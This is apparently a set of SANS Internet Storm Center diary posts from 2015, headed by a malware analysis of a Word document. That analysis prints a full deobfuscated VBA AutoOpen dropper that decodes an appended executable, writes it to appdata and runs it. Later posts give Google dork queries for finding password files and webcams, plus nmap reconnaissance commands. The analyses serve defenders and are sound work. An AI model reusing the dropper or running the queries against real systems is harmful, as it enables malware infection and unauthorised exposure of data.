The good point (or the bad point depending on the side you're located - attacker/defender) is that this helps to create interesting lists of IOCs with IP addresses, URLs, domains or filenames. It's quite easy to deobfuscate the macro and collect the IOCs.

In the incident I was involved, there was no network traffic generated by the malicious macro. The payload was already present and appended at the end the Word file. The document was generated in September 2015 and its VT score was only 2/43 (3 days ago). I was the first to submit it. The content of the document was properly formatted, with interesting information for the victim (of course). I used Didier Stevens's toolbox to analyze the document.

The document was created by a user "Helmut" the 3rd of September 2015. It contains 2 macros:

$ oledump.py malicious.doc
  1:       121 '\x01CompObj'
  2:      4096 '\x05DocumentSummaryInformation'
  3:      4096 '\x05SummaryInformation'
  4:     23860 '1Table'
  5:    781575 'Data'
  6:       486 'Macros/PROJECT'
  7:        71 'Macros/PROJECTwm'
  8: m     940 'Macros/VBA/ThisDocument'
  9:      3256 'Macros/VBA/_VBA_PROJECT'
 10:       569 'Macros/VBA/dir'
 11: M    6052 'Macros/VBA/islamabad'
 12:    257675 'WordDocument'

The interesting macro is in the section 11 (note the name: "islamabad" - the capital of Pakistan). It is a classic obfuscated macro that can be extracted via this command:

$ oledump.py -s 11 -v malicious.doc

[Note: I performed some cleanup and deobfuscation in the macro code to make it more readable]

Basically, the malicious payload (a classic PE file) is appended to the Word document with extra data: the size of the payload and a checksum. Let's review the code:

Attribute VB_Name = "islamabad"
Public var_Filename1 As String
Public var_Path1 As String

The first function performs a checksum of the extract binary stream:

Function func_Checksum(var_Data() As Byte, var_Len As Long) As Byte
    For I = 0 To var_Len - 1
        func_Checksum = func_Checksum Xor var_Data(I)
    Next I
End Function

The binary is XOR'd. The next function decodes it:

Function func_DecodeBinary(var_Data() As Byte, var_Len As Long) As Boolean
    Dim var_IV1 As Byte
    var_IV1 = 11
    For I = 0 To var_Len - 1
        var_Data(I) = var_Data(I) Xor var_IV1
        var_IV1 = ((var_IV1 Xor 13) Xor (I Mod 256))
    Next I
    func_DecodeBinary = True
End Function

This function changes the document layout. (I don't know exactly the reason of this)

Function func_FormatDocument() As Boolean
    ActiveDocument.GrammarChecked = False
    ActiveDocument.SpellingChecked = False
    ActiveDocument.Select
    Selection.Font.ColorIndex = wdBlack
    Selection.Font.Underline = wdUnderlineNone
    Selection.HomeKey
    For Each sec In ActiveDocument.Sections
        For Each head In sec.Headers
            head.Range.Delete
        Next
    Next
    ViewDocument = True
End Function

Sub AutoClose()
    ActiveDocument.Save
End Sub

And now the principal macro automatically executed when the document is opened:

Sub AutoOpen()
    On Error GoTo ErrorCondition1
    Dim var_Dummy1 As Boolean
    var_Dummy1 = func_FormatDocument()
    Dim fh_File1
    Dim var_Filesize As Long
    Dim var_BinarySize As Long
    Dim var_Checksum As Byte

We get the file size, open it and extract the checksum (located EOF -4) and the binary stream size (EOF -3).

    var_Filesize = FileLen(ActiveDocument.FullName) 
    fh_File1 = FreeFile
    Open (ActiveDocument.FullName) For Binary As #fh_File1
    Get #fh_File1, (var_Filesize - 4), var_Checksum 
    Get #fh_File1, (var_Filesize - 3), var_BinarySize

    If var_BinarySize < 8 Then
        GoTo ErrorCondition1
    End If

    If (var_BinarySize + 4) > var_Filesize Then
        GoTo ErrorCondition1
    End If

The script computes the starting position of the data stream and prepare a byte array with the correct size. 

    Dim var_Offset As Long
    var_Offset = var_Filesize - (var_BinarySize + 4)
    Dim var_BinaryData1() As Byte
    ReDim var_BinaryData1(var_BinarySize - 1)

Then, the binary file is extracted and decoded:

    Get #fh_File1, var_Offset, var_BinaryData1
    Close #fh_File1
    If Not func_DecodeBinary(var_BinaryData1(), var_BinarySize) Then
        GoTo ErrorCondition1
    End If

The checksum is verified:

    Dim var_Dummy2 As Byte
    var_Dummy2 = func_Checksum(var_BinaryData1(), var_BinarySize)
    If var_Checksum <> var_Dummy2 Then
        GoTo ErrorCondition1
    End If

The default path to drop the payload is obfuscated.
(Value = "appdata\Microsoft\Word")

    var_Path1 = Environ(Chr(97) & Chr(112) & Chr(112) & Chr(100) & Chr(97) & Chr(116) & Chr(97)) & Chr(92) & Chr(77) & Chr(105) & Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) & Chr(116) & Chr(92) & Chr(87) & Chr(111) & Chr(114) & Chr(100)

The object "Scripting.FileSystemObject" is also obfuscated:

    Set var_Object1 = CreateObject("Scripting" & Chr(46) & Chr(70) & Chr(105) & Chr(108) & Chr(101) & Chr(83) & Chr(121) & Chr(115) & Chr(116) & Chr(101) & Chr(109) & Chr(79) & Chr(98) & Chr(106) & Chr(101) & Chr(99) & Chr(116))

Just in case of the default path does not exists (which should not be the case because Word is present on the target system), the script uses another one ("appdata"):

    If Not var_Object1.FolderExists(var_Path1) Then
        var_Path1 = Environ(Chr(97) & Chr(112) & Chr(112) & Chr(100) & Chr(97) & Chr(116) & Chr(97))
    End If

    Set var_Object1 = Nothing
    Dim fh_File2
    fh_File2 = FreeFile

The dropped payload filename is also obfuscated and we create the file
(Value: "wfletxavb.exe")

Remark: I don't know why the filename is not dynamically generated with random characters. This could avoid the detection of the malicious binary on a file system.

    var_Filename1 = var_Path1 & "\" & Chr(119) & Chr(102) & Chr(108) & Chr(101) & Chr(116) & Chr(120) & Chr(97) & Chr(118) & Chr(98) & Chr(46) & Chr(101) & Chr(120) & Chr(101)
    Open (var_Filename1) For Binary As #fh_File2
    Put #fh_File2, 1, var_BinaryData1
    Close #fh_File2
    Erase var_BinaryData1

We are ready to execute it!

    Set var_Object2 = CreateObject("WScript.Shell")
    var_Object2.Exec var_Filename1
    Exit Sub

ErrorCondition1:
    Close #fh_File1
    Close #fh_File2
    ActiveDocument.Save
End Sub

By reversing the macro, we can guess the starting position of the binary and extract it manually via the Didier's cut-bytes.py tool. We need to skip the last bytes of the document (containing the payload size and checksum):

[Note: Didier added a new feature to his tools to help me to extract data: it's now possible to specify to ignore bytes at the end of the file (the '-5' part in the command line below)]

$ cut-bytes.py "<position>:-5" malicious.doc >binary.data
$ file binary.data
binary.data: data

The decoding function being in the macro, we can reuse it and write a specific decoder for the translate.py tool:

def FileDecode(input):
    output = ''
    code = 11
    for iIter in range(len(input)):
        output += chr(ord(input[iIter]) ^ code)
        code = (code ^ 13) ^ (iIter % 256)
    return output

Finally, we can decode the binary and get a PE file:

$ cat binary.data | translate.py -f -s decoder_caseXXXX.py -o binary.exe FileDecode
$ file binary.exe
binary.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit

This PE file was never sent to VirusTotal and is clearly malicious. More investigations are still ongoing.

The construction of the file (OLE document +  PE file + checksum + PE file length) looks ideal to quickly allow the attackers to generate a new encoded PE file and just append it to the same Word document. I can't share the samples at this time, investigations are still ongoing.

Xavier Mertens
ISC Handler - Freelance Security Consultant
PGP Key

When doing security assessments or penetration tests, there’s a significant amount of findings that you can get from search engines.  For instance, if a client has sensitive information or any number of common vulnerabilities, you can often find those with a Google or Bing search, without sending a single packet to the client’s infrastructure.

This concept is called “google dorking”, and was pioneered by Johnny Long back in the day (he has since moved on to other projects – see http://www.hackersforcharity.org ). 

In a few recent engagements, we actually found password hashes in a “passwd” file, and  passwords in “passwords.txt” is a somewhat common find as well.

Search terms:  inurl:www.customer.com passwords

Or inurl:www.customer.com passwd

Excel documents (always a great target) can be found with a simple:

Inurl:www.customer.com ext:xls

Or configuration files:

Ext:cfg

Or ext:conf

Or something you may not have though of - security cameras.  Folks are stampeding to put their security cameras online, and guess how much effort they put into securing them (usually less than none).  Not only do you have security footage if you gain access to one of these, they're usually running older/unpatched linux distributions, so in a penetration test they make great toe-hold hosts to pivot into the inside network.

To find JVC Web Cameras:

intext:"Welcome to the Web V.Networks" intitle:"V.Networks [Top]" -filetype:htm

Finding things like webcams is sometimes easier on Bing, they’ve got an “ip:” search term, so you can find things that are indexed but aren’t hosted on a site with a domain name.

… You get the idea.  After you total everything up, there’s several thousand things you can search for that you (or your customer) should be concerned about that you can find just with a search engine.

With several thousand things to check, there’s no doing this manually.  In past projects, I wrote some simple batch files to do this, with a 2 or 3 minute wait between them to help evade google saying “looks like a hacker search bot to me” – when they do that, they pop up a captcha.  If you don’t answer the captcha, you’re “on hold” for some period of time before you can resume. 

However, in my latest project, I’ve seen that Google especially has a much more sensitive trigger to this kind of activity, to the point that it’s a real challenge to get a full “run” of searches done.  This can be a real problem – often what you find in reconnaissance can be very useful in subsequent phases of a pentest or assessment.  For instance, recon will often tell you if a site has a login page, but a simple authentication bypass allows you to get to the entire site if you go to the pages individually.  This can save you a *boatload* of effort, or find things you never would have seen otherwise.  Leveraging search engines will also sometimes find your customer’s information on sites that aren’t their sites.  These are generally out of scope for any “active” pentest activities, but the fact that the data is found elsewhere is often a very valuable finding.

So, with a typical “dork” run taking in excess of 3 days, what to do?  On one hand, you can simply change search engines.  For example Baidu (a popular china-based search engine) doesn’t appear to check for this sort of “dork” activity.  In the words of John Strand – “baidu is the honey badger of search engines – they just don’t care”.  While you might get the same results though, using a china – based search engine isn’t confidence-inspiring to some customers.

The path I took was to use the Google Search API (Bing offers a similar service).  You can sign up for the API at the Google Developers Console, found here:

https://console.developers.google.com/project?authuser=0

The Bing equivalent is here:

https://www.bing.com/developers/appids.aspx

Now, with an API key you can simply plug that key in to the tool of choice (I often use either GoogleDiggity or Recon-NG, but you can write your own easily enough), and you are good for thousands of searches per day!  An entire run that might have taken 3 days using a traditional “scraping” approach can now be completed in about 20 minutes.

So for instance, to configure GoogleDiggity, disable scraping and insert your search API Key and Search as shown here:

They've got a helpful "create" pick if you don't have a search application of your own set up yet.

Lastly, on your Google CSE setup page (https://cse.google.com/cse/setup ), open the “Basic” tab, add the domains of interest for your client in the “Sites to Search” section, then change the scope from “Search Only Included sites” to “Search the entire web but emphasize included sites”.   This will allow you to find things like sensitive customer information stored on sites *other* than the ones in your list.

You can expand on this approach with API Keys for other recon engines as well - Shodan would be a good next logical step, their API key subscription options are here:

https://developer.shodan.io/billing

Please use our comment form and share what APIs or tools you've used for reconnaissance.  If your NDA permits, feel free to share some of the more interesting things you've found also!

===============
Rob VandenBrink
 

We have received a report that a domain critical in delivering the Cisco Cloud Web Security product had for a while earlier today been hijacked. The report indicates that the DNS entryies for scansafe.net were hijacked and pointed to 208.91.197.132, a site which both VirusTotal and Web of Trust indicate has a reputation for delivering malware. 

Guidance that has been provided to customers is that the issue has been resolved but that the TTL on the DNS entries are 48 hours so it will take a while for caches to clear.  In the meantime customers should should use the IP, not the FQDN to access the site.

If anyone has any further details please pass them our way.

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

Lost in the hoopla around Microsoft and Adobe patch Tuesday was a critical patch released by Oracle which addressed CVE-2015-4852. CVE-2105-4852 is a critical vulnerability in Apache Commons which affects Oracle WebLogic Server.  This vulnerability permits remote exploitation without authentication and should be patched as soon as practical. 

More information can be found at the Oracle Blog.

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

As a follow-up to the this month's Microsoft Patch Tuesday.  It appears that Microsoft has quietly re-released the problematic KB3097877 fix.  The original was reportedly causing some versions of Outlook to crash on systems and other Windows issues with this patch applied.

Please let us know if you are still experiencing difficulties with the new version applied.

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

Adobe released an update for Flash Player yesterday [1]. The update fixes 17 vulnerabilities and is rated with a criticality of "1" for. Microsoft Windows users will receive the related update for Internet Explorer 10 and Microsoft Edge from Microsoft directly [2].

As usual, consider the "click to play" option many browser provide to prevent exposing Flash Player to sites that do not need it.

[1] https://helpx.adobe.com/security/products/flash-player/apsb15-28.html
[2] https://technet.microsoft.com/library/security/2755801

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

Overview of the November 2015 Microsoft patches and their status.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

With recent news of mobile malicious adware that "roots" smartphones, attention is again being paid to mobile security and the malware threat that is posed to it. While mobile ransomware is also a pervasive and growing threat, there are mobile RATs (such as JSocket and OmniRAT) that are also able to take full remote control of mobile devices.  Some of the functionality of those tolls includes the ability to use the microphone to listen in on victims and to view whatever is in front of the camera while the unsuspected victims goes about their day.

It's important to realize that mobile malware, in essence, is just a question of apps.  Even in the adware "rooting" apps above, it all still begins with installing an application which means there are some defined ways users and enterprises can protect themselves.  The other danger is that most of the time, these devices are on the cellular network so they operate outside all of the network protective technologies an enterprise has to detect, if not prevent, compromise.  Here is a quick list of what users and enterprises can do. 

For users:

• Never install applications outside of the mobile "app" stores (i.e. Google Play, Apple's App Store)
• Ensure that smartphones are set to NOT install apps from unverified sources
• Do NOT root/jailbreak your phones as this removes a great deal of the security features
• Observe what permissions applications are requesting on install and reject those that want the Christmas Tree list of permissions (i.e. all of them)
• Install a mobile anti-malware solution of your choosing

For enterprises:

• For phones under your control, ensure all the above are set and are unmodifiable by the end-user
• Provide users in sensitive positions a corporate provided phone so that you can do the above and restrict sensitive information to the corporate phone
• Provide a BYOD network for personal mobile devices and monitor that network for indicators of compromise and respond accordingly.  Encourage users to use that network.

What else would you add to this list?

--
John Bambenek
bambenek\at\ gmail /dot/ com
Fidelis Cybersecurity

On Friday, a blog post from Fox Glove Security was posted that details a widespread Java unserialize vulnerability that affects all the major flavors of middleware (WebSphere, WebLogic, et al).  There is a lot of great details, including exploitation instructions for pentesters, in the post so go take a look. It didn't get much press because admittedly it's complicated to explain.  It also doesn't have a logo.

In this case, they describe how to use this class of vulnerabilities for remote code execution of Java-based web applications.  This vulnerability is present in the "common-collections" library in Java.  As you can imagine from the name, this has a huge surface area of attack of applications all over including those that are custom-coded that use those class files.

The exploits demonstrated have to be initiated from the local network, but in poorly configured environments this may lead to truly remote attacks being successful.

The short version is that many programming languages (in this case Java), accept serialized input from users and convert it to unserialized data.  If that data is not otherwise sanitized (or ideally, never take untrusted input in the first place, at least for unauthenticated users).  It's the oldie but goodie of unsanitized input with a mix of OWASP A9 of Components with Known Vulnerabilities.

At present, these does not appear to be a patch for the vulnerability but the blog post above does layout a very ugly mitigation that can be deployed.

P.S. From the blog, "No one gave it a fancy name, there were no press releases, nobody called XXXXXX (insert firm I shouldn't mock here) to come put out the fires.". Well played, good sir, well played.

--
John Bambenek
bambenek\at\ gmail /dot/ com
Fidelis Cybersecurity

In a penetration test (PenTest) a thorough reconnaissance is critical to the overall success of the project. 

DNS information for the target network is often very useful reconnaissance information. DNS information is publicly available information and enumerating it from DNS servers does not require any contact with the target and will not tip off the target company to any activities.

A tool that can be used to assist with DNS information gathering is nmap.  Nmap has a parallel reverse DNS resolution engine that is normally employed as part of an nmap scan, but can also be used independently of the scan function to do DNS enumeration.

Let’s pretend we were hired to do a pentest against SANS.  www.sans.org is 66.35.59.202.  According to ARIN whois 66.35.59.202 is part of a /24 range allocated to the SANS (66.35.59.0/24).  ARIN also shows another /24 network range allocated to SANS (204.51.94.0/24).

From http://whois.arin.net/rest/org/SANSI-1/nets/

The nmap command to be used in this case is:

# nmap --dns-servers 8.8.8.8,8.8.4.4 -sL 204.51.94.0/24 66.35.59.0/24

By default nmap will use your system’s configured DNS.  If you are enumerating a large address space nmap can generate a high volume of queries.  While this shouldn’t cause an issue for your DNS servers, being paranoid, I use publicly available servers that I know can handle the volume.  In this case Google’s public DNS at 8.8.8.8 and 8.8.4.4 or OpenDNS.  These servers are specified using the –dns-servers parameter.

-sL specifies a list scan, which means nmap will only do a DNS resolution, not actually scan the target.

204.51.94.0/24 66.35.59.0/24 is the target networks we want to enumerate.  In nmap if multiple address ranges are to be part of the target they are space separated.

The output is one line per IP in the range (heavily edited for space).  Notice that every IP with a reverse DNS entry has that entry listed.  IPs without reverse DNS entries just show the IP.

Starting Nmap 5.51 ( http://nmap.org ) at 2015-11-08 13:39 EST

Nmap scan report for 204-51-93-0.clp.sans.org (204.51.94.0)

Nmap scan report for router31-int.clp.sans.org (204.51.94.1)

Nmap scan report for fw31.clp.sans.org (204.51.94.2)

…

Nmap scan report for 204.51.94.43

Nmap scan report for 204.51.94.44

…

Nmap scan report for portal.sans.org (204.51.94.201)

Nmap scan report for mail.sans.org (204.51.94.202)

Nmap scan report for exams.giac.org (204.51.94.203)

Nmap scan report for www.giac.org (204.51.94.204)

…

Nmap scan report for www.sans.org (66.35.59.202)

Nmap scan report for exams.giac.org (66.35.59.203)

Nmap scan report for www.giac.org (66.35.59.204)

…

Nmap scan report for dshield.org (66.35.59.248)

Nmap scan report for isc.sans.org (66.35.59.249)

Nmap scan report for isc.sans.org (66.35.59.250)

Nmap scan report for isc.sans.org (66.35.59.251)

…

Nmap done: 512 IP addresses (0 hosts up) scanned in 58.98 seconds

DNS information is publicly available information, so enumerating it is not a crime in any jurisdiction that I am aware of.  If you really feel the need to go further than this, please remember that the difference between an attack and a pentest is permission.

-- Rick Wanner MSISE - rwanner at isc dot sans dot edu - http://namedeplume.blogspot.com/ - Twitter:namedeplume (Protected)

This is the image you can recover from the ransomed file I published in my last diary entry.

Let's use byte-stats to check the entropy of the ransomed file:

We don't see much difference between the overal entropy and the entropy of the buckets, but that's because it's a small file. Notice that only 3 buckets were used. The file is only 36KB, so let's use a smaller bucket size: 1024 bytes.

The smallest value for the entropy is 7.32... So we have something in this file that is not encrypted/compressed. Let's try to locate this:

The lower entropy appears to be around position 0x1000. Let's take a look:

Bytes before 0x1000 look random, while we see some patterns appearing after 0x1000.

FFDB is the JPEG marker for quantization tables. This should be preceded by a JPEG header, like this one: \xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00

To recover the image, just create a new file with this JPEG header and append all bytes from the ransomed file starting at the FFDB marker (position 0x1000).

What is this image? It's a thermal image of my MacBook 12" with the processor running "hot". The processor is located where you see the yellow/orange spot. The color indicates it's around 39°C. That's around 312°K and 102°F.

Didier Stevens
Microsoft MVP Consumer Security
blog.DidierStevens.com DidierStevensLabs.com
IT Security consultant at Contraste Europe.

The Apache web server has a very modular logging system. It is possible to customize what to log and how.  But it lacks in logging data submitted to the server via POST HTTP requests. Recently, I had to investigate suspicious HTTP traffic and one of the requirements was to analyze POST data. If you already have a solution which performs full packet capture, you're lucky but it could quickly become a pain to search for information across gigabytes of PCAP files. In the past, ngrep ("network grep") helped me to capture interesting traffic like this:

This command will capture all Wordpress login attempts and write packets to a PCAP file. We have now only useful data but, here again, processing them remains a pain. Hélas, sniffing packets is not relevant against HTTPS traffic! 

So, I searched for an alternative and decided to use the combination of mod_security and ELK. mod_security being available on most distributions (and I hope used!), it will reduce the need to deploy new software components. The first step is to collect the POST data. By default, mod_security logs only blocked HTTP requests. To log all the POST requests, modify/add the following lines in your mod_security.conf (/etc/apache2/mods-enabled/mod-security.conf on Ubuntu distributions):

The first directive specify which sections will be logged. In our case, the most important if the "C" which contains the request body). Once done, restart Apache and check the log for new events. Here is a typical Wordpress login attempt:

The mod_security log format is not the most friendly to read but it is very complete! Hopefully, somebody developed a Logstash parser for mod_security. It is easy to deploy. Once indexed, events will be available in Kibana for investigations. Here is a Wordpress login brute force attack:

And you will find all the HTTP requests details easily browsable:

The combination mod_security/ELK will help you:

• To collect and store for a long retention period your POST data for further investigations (even if the web traffic is encrypted)
• To beautify data (ex: automatic geolocalization as seen above)
• To correlate events with other sources. 

WARNING: mod_security is an Apache module and has access to all data in clear text. Keep in mind that HTTP POST requests could contain sensitive information (passwords, ID's, CC number, SSN, etc). You can sanitize sensitive data directly within mod_security via the sanitseArg directive.

Xavier Mertens
ISC Handler - Freelance Security Consultant
PGP Key

2015-11-05 update:  After posting this diary, we started seeing reports of CryptoWall 4.0.  One of the people who analyzed this new CryptoWall variant provided me details, which you can read about at: http://malware-traffic-analysis.net/2015/11/05/index.html

Introduction

Since Monday 2015-10-26, we've noticed a particular campaign sending malicious spam (malspam) with links to download CryptoWall 3.0 ransomware.  This campaign has been impersonating domain registrars.  Conrad Longmore blogged about it last week [1], and Techhelplist.com has a good write-up on the campaign [2].  Several other sources have also discussed this wave of malspam [3, 4, 5, 6, 7, 8 to name a few].

For this diary, we'll take a closer look at the emails and associated CryptoWall 3.0 malware.

The malspam

Based on what I've seen, this malspam was delivered to recipients who didn't use privacy protection when they registered their domains.  Their contact information is publicly-listed in the whois records for their domains.  Criminals behind the campaign are collecting this publicly-available information, impersonating the registrars, and sending malspam to the email addresses listed as points of contact.  Below are two examples of the emails I've found.

Shown above: Screenshot from one of the emails that spoofed Enom, Inc.

Shown above: Screenshot from one of the emails that spoofed Tucows, Inc.

Enom and Tucows are just two of the many examples people have reported.  When looking at the email headers, you'll find these were not sent from the actual registrars.  The sender addresses were spoofed.

Shown above: Header lines that show the first example was not sent by Enom, Inc.

Shown above: Header lines that show the second example was not sent by Tucows, Inc.

If you receive one of the emails, the link follows a specific pattern: http://[unrelated compromised website]/abuse_report.php?[your domain name].  The domain names are not important.  You can always get the malware by substituting any string of characters for the domain name in the URL (assuming no one has fixed the compromised website yet).

Shown above: I substituted a string of "X"s for the domain name in a URL from one of the emails.

The emails have different senders, and they contain a variety of domains in the URLs to download the malware.  I've compiled a list of the first 100 emails I found to provide an idea on the scope of this campaign.  Click here for a .CSV file of the list.

Shown above: Some of the emails seen from this CryptoWall 3.0 malspam campaign.

The malware

I grabbed a sample of the CryptoWall 3.0 on Tuesday 2015-11-03.  The sample was first submitted to Virus Total the previous day (Monday).

File name:  [domain name]_copy_of_complaints.pdf.scr

• File size:  223.0 KB ( 228,354 bytes )
• MD5 hash:  866f551ac050ce293bddfca62110d35a
• SHA1 hash:  f11dcc4069e86d09f4b8a5a37a3a56756391ea40
• SHA256 hash:  02f61cebe546041985f4dac3ad6cee83c4cdc6511ec265dc78afcd69c8ac46a9
• First submitted to VirusTotal:  2015-11-02 20:17:03 UTC
• Detection ratio:  25 / 55
• VirusTotal Link  -  Malwr.com link  -  Hybrid-Analysis.com link

I ran the sample on two different Windows hosts and got two different Bitcoin addresses for the ransom payment.

Shown above: Decrypt instructions from the first infection with the CryptoWall 3.0 sample.

Shown above: Decrypt instructions from the second infection with the same CryptoWall 3.0 sample.

Traffic from the two infected hosts is consistent with CryptoWall 3.0 activity.

Shown above: Traffic filtered in Wireshark on the first infection with the CryptoWall 3.0 sample.

Shown above: Traffic filtered in Wireshark on the second infection with the same CryptoWall 3.0 sample.

I used tcpreplay in Security Onion on a pcap of traffic from the first infection.  The EmergingThreats (ET) and ET Pro rulesets showed alerts related to CryptoWall.

Shown above: ET and ET Pro alerts on traffic from the first infection.

I also used Snort with the Talos Registered ruleset to read the pcap.  That showed CryptoWall alerts as well.

Shown above: Alerts logged after reading a pcap of the infection traffic with Snort.

Final Words

If you receive one of these emails, and you download the file, you should see plenty of warnings the file is not safe.  In a company environment, properly-administered Windows hosts should prevent people from running the malware.

In my personal opinion, this malspam isn't a serious threat, especially to anyone aware of computer security.  So why do criminals run these campaigns?  Apparently, enough of their emails get through, people still fall for the malware, and their Windows computers are configured so they can run it.

As of Wednesday 2015-11-04, I haven't found any more of this malspam.  This might be temporary, or the criminals behind it might have started a different campaign.  Either way, it's always interesting to see the daily changes in our cyber threat landscape.

Pcaps and the malware sample used in this diary are available here.

---
Brad Duncan
Security Researcher at Rackspace
Blog: www.malware-traffic-analysis.net - Twitter: @malware_traffic

References:

[1] http://blog.dynamoo.com/2015/10/malware-spam-domain-domain-suspension.html
[2] https://techhelplist.com/spam-list/958-domain-suspension-notice-malware
[3] http://botcrawl.com/beware-of-fake-domain-suspension-notice-emails/
[4] https://grahamcluley.com/2015/10/bogus-web-domain-suspension-notice-leads-malware/
[5] http://www.hoax-slayer.com/domain-suspension-notice-malware-emails.shtml
[6] http://domainnamewire.com/2015/10/26/warning-domain-name-phishing-email-blast-going-on-right-now/
[7] http://www.domaininvesting.com/enom-spear-phishing-email-received/
[8] http://www.onlinethreatalerts.com/article/2015/10/29/domain-name-suspension-notice-for-the-violation-of-melbourne-it-ltd-abuse-policy/

Have you ever considered how many Critical Controls that your contextual (e.g. Next Generation) platform applies to? I bet it is more than you think. Consider your application aware platforms feature, in which it does deep layer 7 packet inspection and identifies applications. Wait a second, “I assumed” by inventory that the Control mean going around to every workstation and assessing what was installed? Sure, that is a critical component, but with application aware platforms, your ‘platform’ can quickly be turned into an audit device. Set up a span/mirror/tap on a spare port and assess VLANs. Pull reports on ingress/egress segments. This is all part of implementing critical controls.

First, you can run analysis and identify what applications and services are leaving your environment. Add on to that encryption inspection and then the platform becomes an effective shadow Information Technology (IT) audit device. Imagine for a moment business unit X, unit X we will call Marketing, for the moment (secretly I like to pick on marketing because they are maverick thinkers). Marketing decides they need a new website with ‘explosive’ new features. They know that ‘IT Security’ will ‘have a cow’ on this… but it will drive business, they say. Now, how many of us know this has either

A) Seen this

B) Had a colleague tell us

C) Can imagine

We will go one step further for this illustration and say super important Event Y is in 3 weeks. This event is the biggest XYZ event of our industry.

For this scenario we will even go a few strides further and say the event and the launch is a smashing success. Now ask yourself, does Marketing go back and update? Do they contract maintenance? Does all the regular order of what it takes to maintain an IT application occur? Who knows!

People drive business, features and function drive revenue to be sure! Now,  lets get back to Critical Control number 2, know thyself (e.g. Software). For sure, you should inventory what software is deployed in your environment. This would include more than what your contextual next genration platform can do, however lets stop for a moment? Some software stays local on systems, a great deal of software talks to the cloud. What if there was a platform that could pervasively identify … ‘wait setting myself up to well’ … Applications?  The platform can provide you insight into applications and services running in your environment and serve as an analysis platform. This can clearly aid in Critical Control 2 as well as serve as an audit and control platform.

Let us say there is a research and development network segment that needs inventory. There is an effort underway to assess, pragmatically, each workstation. Now imagine if you could have a view into what applications were in regular use? Application aware platforms is a Critical Control 2 enabler! 

Richard Porter

--- ISC Handler on Duty

In our data, we often find researchers performing internet wide scans. To better identify these scans, we would like to add a label to these IPs identifying them as part of a research project. If you are part of such a project, or if you know of a project, please let me know. You can submit any information as a comment or via our contact form. If the IP addresses change often, then a URLs with a parseable list would be appreciated to facilitate automatic updates.

---
Johannes B. Ullrich, Ph.D.
STI|Twitter|LinkedIn

You might have used nmap several times for recon using the conventional portscan functionality (Connect scan, SYN Scan, FIN scan, UDP scan, ...) but for gathering extra info like HTTP directories, DNS host enumeration without performing zone transfer, Microsoft SQL Server enumeration and SMB device info people usually uses additional tools. I will show you how nmap can provide that information without use of extra tools:

1. HTTP Directories

The http-enum script is able to test for the existence of some directories that are common to many webservers and could have potentially interesting information and vulnerabilities. This is an alternative to tools like nikto:

2. DNS Host Enumeration

Most DNS are correctly configured so they will not allow a zone transfer by default. Instead, the other available way is to query for specific known names common to exposed services like the common names used by Microsoft services. We can use the dnsbrute nmap script, which is a basic alternative to dnsrecon and not supporting all its functionalities:

3. SMB device info

Windows devices got lots of information that can be gathered from nmap directly:

4. Microsoft SQL Server instances info

You can grab useful information of mysql instances in a server. This is an alternative to SQLRecon or SQLPing:

What I like about nmap recon scripts is they are fast, reliable and they minimize the load of tools you need to carry on. They will save you tons of time gathering valuable info so you can focus in compromising the assets. If you want to know more about the nmap scripts, please check https://nmap.org/nsedoc.

Manuel Humberto Santander Peláez
SANS Internet Storm Center - Handler
Twitter: @manuelsantander
Web:http://manuel.santander.name
e-mail: msantand at isc dot sans dot org

One of the security questions being asked of security professionals, by business executives these days, from both internal and external entities, is ‘What is the status of our Disaster Recovery plan?”  The driving force behind the question varies, from ‘compliance’ and “our business partners are asking” to “I read an article about an earthquake….”   A disaster recovery plan is one of those things that you don’t want to define the requirements as you go, this is one that is truly about the *plan*.  We are going to talk about the basics of a disaster recovery plan, and some references to assist in preparing and implementing your own disaster recovery plan.  I will attempt to expand on some of these ares in future diaries, because it can be quite a bit to digest without getting a bit drowsy ;)

What is a Disaster Recovery plan?

A disaster recovery (DR) plan is simply a document that can be used as a guide to restore systems and services, in a secure state, in the event of a disaster or other unwanted event.  It is typically broken up into several parts, with roles and responsibilities defined within the document.   

What comprises a DR plan?

There are numerous methods of executing a DR program, and in my experiences I have found the NIST 800-34 standard as a guiding framework because it is easy to understand, and is recognized by many organizations I work with for compliance, effectiveness, and reporting purposes.  The DR plan, as defined in the NIST standard, consists of three phases:

• Activation & Notification
• Recovery
• Reconstitution

Activation & Notification Phase

The Activation & Notification phase takes place after an outage occurs that may extend beyond the accepted parameters.  For example, an outage may occur that is expected to take the business offline for 8 hours, such as a cut internet cable.  If the business requirements mandate that an organization cannot be down for more than 4 hours, then this becomes a situation where the Activation & Notification phase would be activated to assess the outage, impact, and report to executive management for a decision to recover operations.  Communications to impacted users also begins at this phase

Recovery Phase

The recovery phase is the period of time in which systems and people are brought back online, often times in a temporary facility or location.  Communications between IT and users occurs extensively during this phase, as people and systems are restored to an operational state.   Restoration priorities is an area that must be well defined during the planning phase, and updated on a regular basis.   The business impact analysis, which should be performed during the planning phase, will help define the restoration priority.  The plans and procedures for systems recovery is critical at this junction, because it will drive what needs to be restored, and what order, due to application dependencies.  

Reconstitution Phase

The reconstitution phase is the period of time where operations are returned to a ‘steady-state’, system data and functionality is verified as normal, and cleanup actions occur.  Backups are often implemented at this stage, as well as deactivation of any assets used for recovery actions.  The last, and one of the most important pieces, is the documentation of the lessons learned.  The last component is the compilation of input from team members on their observations, and updating of all documentation to reflect the current operating state and lessons learned.  

tony d0t carothers --gmail